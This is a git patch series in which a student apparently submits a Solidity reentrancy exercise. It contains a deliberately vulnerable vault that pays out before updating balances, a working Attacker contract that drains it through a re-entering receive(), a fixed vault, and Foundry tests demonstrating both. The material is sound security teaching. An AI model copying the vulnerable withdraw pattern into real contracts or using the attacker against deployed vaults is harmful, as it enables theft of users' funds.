From 64b314326b11981fbe3c737a14e87a9d0b35782a Mon Sep 17 00:00:00 2001 From: Froshboss Date: Tue, 7 Apr 2026 11:44:16 +0100 Subject: [PATCH 1/3] upgradable contract assignment submission --- Umar-Alhassan.md | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 Umar-Alhassan.md diff --git a/Umar-Alhassan.md b/Umar-Alhassan.md new file mode 100644 index 00000000..43a62055 --- /dev/null +++ b/Umar-Alhassan.md @@ -0,0 +1,20 @@ +Escrow v1 +(https://github.com/Froshboss/escrow-V1) + +Escrow v2 +(https://github.com/Froshboss/escrow-V2) + +Transaction Vault +(https://github.com/Froshboss/timelock-contract) + +Crowd Funding +(https://github.com/Froshboss/crowdfunding) + +Auction +(https://github.com/Froshboss/auction) + +Freelancing +(https://github.com/Froshboss/freelancer) + +Article +(https://hackmd.io/@GhXpzopCT4GRIXOIrUHk6g/rkvSn9RrZg) From d02fd4145495ab11b62c20a7b124082e2df99e76 Mon Sep 17 00:00:00 2001 From: Froshboss Date: Mon, 13 Apr 2026 12:22:07 +0100 Subject: [PATCH 2/3] Submission for test --- 13-04-26-test/.github/workflows/test.yml | 38 ++++++++++++++ 13-04-26-test/.gitignore | 14 +++++ 13-04-26-test/.gitmodules | 3 ++ 13-04-26-test/README.md | 66 ++++++++++++++++++++++++ 13-04-26-test/foundry.lock | 8 +++ 13-04-26-test/foundry.toml | 6 +++ 13-04-26-test/script/Counter.s.sol | 19 +++++++ 13-04-26-test/src/Attack.sol | 28 ++++++++++ 13-04-26-test/src/Counter.sol | 14 +++++ 13-04-26-test/src/Fixer.sol | 19 +++++++ 13-04-26-test/src/test.sol | 19 +++++++ 13-04-26-test/test/Counter.t.sol | 24 +++++++++ 13-04-26-test/test/test.t.sol | 58 +++++++++++++++++++++ Umar-Alhassan.md | 4 ++ 14 files changed, 320 insertions(+) create mode 100644 13-04-26-test/.github/workflows/test.yml create mode 100644 13-04-26-test/.gitignore create mode 100644 13-04-26-test/.gitmodules create mode 100644 13-04-26-test/README.md create mode 100644 13-04-26-test/foundry.lock create mode 100644 13-04-26-test/foundry.toml create mode 100644 13-04-26-test/script/Counter.s.sol create mode 100644 13-04-26-test/src/Attack.sol create mode 100644 13-04-26-test/src/Counter.sol create mode 100644 13-04-26-test/src/Fixer.sol create mode 100644 13-04-26-test/src/test.sol create mode 100644 13-04-26-test/test/Counter.t.sol create mode 100644 13-04-26-test/test/test.t.sol diff --git a/13-04-26-test/.github/workflows/test.yml b/13-04-26-test/.github/workflows/test.yml new file mode 100644 index 00000000..b79c8d4f --- /dev/null +++ b/13-04-26-test/.github/workflows/test.yml @@ -0,0 +1,38 @@ +name: CI + +permissions: {} + +on: + push: + pull_request: + workflow_dispatch: + +env: + FOUNDRY_PROFILE: ci + +jobs: + check: + name: Foundry project + runs-on: ubuntu-latest + permissions: + contents: read + steps: + - uses: actions/checkout@v5 + with: + persist-credentials: false + submodules: recursive + + - name: Install Foundry + uses: foundry-rs/foundry-toolchain@v1 + + - name: Show Forge version + run: forge --version + + - name: Run Forge fmt + run: forge fmt --check + + - name: Run Forge build + run: forge build --sizes + + - name: Run Forge tests + run: forge test -vvv diff --git a/13-04-26-test/.gitignore b/13-04-26-test/.gitignore new file mode 100644 index 00000000..85198aaa --- /dev/null +++ b/13-04-26-test/.gitignore @@ -0,0 +1,14 @@ +# Compiler files +cache/ +out/ + +# Ignores development broadcast logs +!/broadcast +/broadcast/*/31337/ +/broadcast/**/dry-run/ + +# Docs +docs/ + +# Dotenv file +.env diff --git a/13-04-26-test/.gitmodules b/13-04-26-test/.gitmodules new file mode 100644 index 00000000..888d42dc --- /dev/null +++ b/13-04-26-test/.gitmodules @@ -0,0 +1,3 @@ +[submodule "lib/forge-std"] + path = lib/forge-std + url = https://github.com/foundry-rs/forge-std diff --git a/13-04-26-test/README.md b/13-04-26-test/README.md new file mode 100644 index 00000000..8817d6ab --- /dev/null +++ b/13-04-26-test/README.md @@ -0,0 +1,66 @@ +## Foundry + +**Foundry is a blazing fast, portable and modular toolkit for Ethereum application development written in Rust.** + +Foundry consists of: + +- **Forge**: Ethereum testing framework (like Truffle, Hardhat and DappTools). +- **Cast**: Swiss army knife for interacting with EVM smart contracts, sending transactions and getting chain data. +- **Anvil**: Local Ethereum node, akin to Ganache, Hardhat Network. +- **Chisel**: Fast, utilitarian, and verbose solidity REPL. + +## Documentation + +https://book.getfoundry.sh/ + +## Usage + +### Build + +```shell +$ forge build +``` + +### Test + +```shell +$ forge test +``` + +### Format + +```shell +$ forge fmt +``` + +### Gas Snapshots + +```shell +$ forge snapshot +``` + +### Anvil + +```shell +$ anvil +``` + +### Deploy + +```shell +$ forge script script/Counter.s.sol:CounterScript --rpc-url --private-key +``` + +### Cast + +```shell +$ cast +``` + +### Help + +```shell +$ forge --help +$ anvil --help +$ cast --help +``` diff --git a/13-04-26-test/foundry.lock b/13-04-26-test/foundry.lock new file mode 100644 index 00000000..bc06b89b --- /dev/null +++ b/13-04-26-test/foundry.lock @@ -0,0 +1,8 @@ +{ + "lib/forge-std": { + "tag": { + "name": "v1.15.0", + "rev": "0844d7e1fc5e60d77b68e469bff60265f236c398" + } + } +} \ No newline at end of file diff --git a/13-04-26-test/foundry.toml b/13-04-26-test/foundry.toml new file mode 100644 index 00000000..25b918f9 --- /dev/null +++ b/13-04-26-test/foundry.toml @@ -0,0 +1,6 @@ +[profile.default] +src = "src" +out = "out" +libs = ["lib"] + +# See more config options https://github.com/foundry-rs/foundry/blob/master/crates/config/README.md#all-options diff --git a/13-04-26-test/script/Counter.s.sol b/13-04-26-test/script/Counter.s.sol new file mode 100644 index 00000000..f01d69c3 --- /dev/null +++ b/13-04-26-test/script/Counter.s.sol @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +import {Script} from "forge-std/Script.sol"; +import {Counter} from "../src/Counter.sol"; + +contract CounterScript is Script { + Counter public counter; + + function setUp() public {} + + function run() public { + vm.startBroadcast(); + + counter = new Counter(); + + vm.stopBroadcast(); + } +} diff --git a/13-04-26-test/src/Attack.sol b/13-04-26-test/src/Attack.sol new file mode 100644 index 00000000..4a252fd1 --- /dev/null +++ b/13-04-26-test/src/Attack.sol @@ -0,0 +1,28 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +interface AttackVault { + function deposit() external payable; + function withdraw(uint256 amount) external; +} + +contract Attacker { + AttackVault public vault; + + constructor(address _vault) { + vault = AttackVault(_vault); + } + + function attack() external payable { + require(msg.value >= 1 ether, "Need at least 1 ETH"); + + vault.deposit{value: msg.value}(); + vault.withdraw(msg.value); + } + + receive() external payable { + if (address(vault).balance >= 1 ether) { + vault.withdraw(1 ether); + } + } +} \ No newline at end of file diff --git a/13-04-26-test/src/Counter.sol b/13-04-26-test/src/Counter.sol new file mode 100644 index 00000000..aded7997 --- /dev/null +++ b/13-04-26-test/src/Counter.sol @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +contract Counter { + uint256 public number; + + function setNumber(uint256 newNumber) public { + number = newNumber; + } + + function increment() public { + number++; + } +} diff --git a/13-04-26-test/src/Fixer.sol b/13-04-26-test/src/Fixer.sol new file mode 100644 index 00000000..d27af4da --- /dev/null +++ b/13-04-26-test/src/Fixer.sol @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +contract FixedVault { + mapping(address => uint256) public balances; + + function deposit() public payable { + balances[msg.sender] += msg.value; + } + + function withdraw(uint256 amount) public { + require(balances[msg.sender] >= amount, "Insufficient balance"); + + balances[msg.sender] -= amount; + + (bool success, ) = msg.sender.call{value: amount}(""); + require(success, "Transfer failed"); + } +} \ No newline at end of file diff --git a/13-04-26-test/src/test.sol b/13-04-26-test/src/test.sol new file mode 100644 index 00000000..d938a93e --- /dev/null +++ b/13-04-26-test/src/test.sol @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +contract BalanceVault { + mapping(address => uint256) public balances; + + function deposit() public payable { + balances[msg.sender] += msg.value; + } + + function withdraw(uint256 amount) public { + require(balances[msg.sender] >= amount, "Insufficient balance"); + + (bool success, ) = msg.sender.call{value: amount}(""); + require(success, "Transfer failed"); + + balances[msg.sender] -= amount; + } +} \ No newline at end of file diff --git a/13-04-26-test/test/Counter.t.sol b/13-04-26-test/test/Counter.t.sol new file mode 100644 index 00000000..48319108 --- /dev/null +++ b/13-04-26-test/test/Counter.t.sol @@ -0,0 +1,24 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +import {Test} from "forge-std/Test.sol"; +import {Counter} from "../src/Counter.sol"; + +contract CounterTest is Test { + Counter public counter; + + function setUp() public { + counter = new Counter(); + counter.setNumber(0); + } + + function test_Increment() public { + counter.increment(); + assertEq(counter.number(), 1); + } + + function testFuzz_SetNumber(uint256 x) public { + counter.setNumber(x); + assertEq(counter.number(), x); + } +} diff --git a/13-04-26-test/test/test.t.sol b/13-04-26-test/test/test.t.sol new file mode 100644 index 00000000..5741dcf3 --- /dev/null +++ b/13-04-26-test/test/test.t.sol @@ -0,0 +1,58 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "../src/test.sol"; +import "../src/Attack.sol"; +import "../src/Fixer.sol"; + +contract VaultTest is Test { + BalanceVault vault; + Attacker attacker; + FixedVault fixedVault; + + address victim = address(1); + function setUp() public { + vault = new BalanceVault(); + attacker = new Attacker(address(vault)); + fixedVault = new FixedVault(); + } + + function testReentrancyAttack() public { + vm.deal(victim, 5 ether); + vm.prank(victim); + vault.deposit{value: 5 ether}(); + + vm.deal(address(attacker), 1 ether); + + vm.prank(address(attacker)); + attacker.attack{value: 1 ether}(); + + assertEq(address(vault).balance, 0); + + assertGt(address(attacker).balance, 1 ether); + } + + function testAttackFailsAfterFix() public { + Attacker attacker2 = new Attacker(address(fixedVault)); + vm.deal(victim, 5 ether); + vm.prank(victim); + fixedVault.deposit{value: 5 ether}(); + + vm.deal(address(attacker2), 1 ether); + vm.prank(address(attacker2)); + vm.expectRevert(); // can specify message if desired + attacker2.attack{value: 1 ether}(); + + assertEq(address(fixedVault).balance, 5 ether); + } + + function testLegitWithdrawStillWorks() public { + vm.deal(address(this), 2 ether); + fixedVault.deposit{value: 2 ether}(); + + fixedVault.withdraw(1 ether); + + assertEq(address(fixedVault).balance, 1 ether); + } +} diff --git a/Umar-Alhassan.md b/Umar-Alhassan.md index 43a62055..cfbdf0a7 100644 --- a/Umar-Alhassan.md +++ b/Umar-Alhassan.md @@ -18,3 +18,7 @@ Freelancing Article (https://hackmd.io/@GhXpzopCT4GRIXOIrUHk6g/rkvSn9RrZg) + + + + From 1817d891330d69c3acedf2553fba1fcc3bbb377c Mon Sep 17 00:00:00 2001 From: Froshboss Date: Mon, 13 Apr 2026 12:38:49 +0100 Subject: [PATCH 3/3] feat: submission of assignment --- 13-04-26-test/src/Attack.sol | 1 + 13-04-26-test/src/Fixer.sol | 1 + 13-04-26-test/test/test.t.sol | 18 ++++++++++++------ 3 files changed, 14 insertions(+), 6 deletions(-) diff --git a/13-04-26-test/src/Attack.sol b/13-04-26-test/src/Attack.sol index 4a252fd1..6816d365 100644 --- a/13-04-26-test/src/Attack.sol +++ b/13-04-26-test/src/Attack.sol @@ -12,6 +12,7 @@ contract Attacker { constructor(address _vault) { vault = AttackVault(_vault); } + function attack() external payable { require(msg.value >= 1 ether, "Need at least 1 ETH"); diff --git a/13-04-26-test/src/Fixer.sol b/13-04-26-test/src/Fixer.sol index d27af4da..198e4255 100644 --- a/13-04-26-test/src/Fixer.sol +++ b/13-04-26-test/src/Fixer.sol @@ -16,4 +16,5 @@ contract FixedVault { (bool success, ) = msg.sender.call{value: amount}(""); require(success, "Transfer failed"); } + } \ No newline at end of file diff --git a/13-04-26-test/test/test.t.sol b/13-04-26-test/test/test.t.sol index 5741dcf3..852e3333 100644 --- a/13-04-26-test/test/test.t.sol +++ b/13-04-26-test/test/test.t.sol @@ -11,12 +11,15 @@ contract VaultTest is Test { Attacker attacker; FixedVault fixedVault; + address victim = address(1); + receive() external payable {} function setUp() public { vault = new BalanceVault(); attacker = new Attacker(address(vault)); fixedVault = new FixedVault(); } + function testReentrancyAttack() public { vm.deal(victim, 5 ether); @@ -24,7 +27,6 @@ contract VaultTest is Test { vault.deposit{value: 5 ether}(); vm.deal(address(attacker), 1 ether); - vm.prank(address(attacker)); attacker.attack{value: 1 ether}(); @@ -48,11 +50,15 @@ contract VaultTest is Test { } function testLegitWithdrawStillWorks() public { - vm.deal(address(this), 2 ether); - fixedVault.deposit{value: 2 ether}(); + address user = address(2); - fixedVault.withdraw(1 ether); + vm.deal(user, 2 ether); - assertEq(address(fixedVault).balance, 1 ether); - } + vm.startPrank(user); + fixedVault.deposit{value: 2 ether}(); + fixedVault.withdraw(1 ether); + vm.stopPrank(); + + assertEq(address(fixedVault).balance, 1 ether); +} }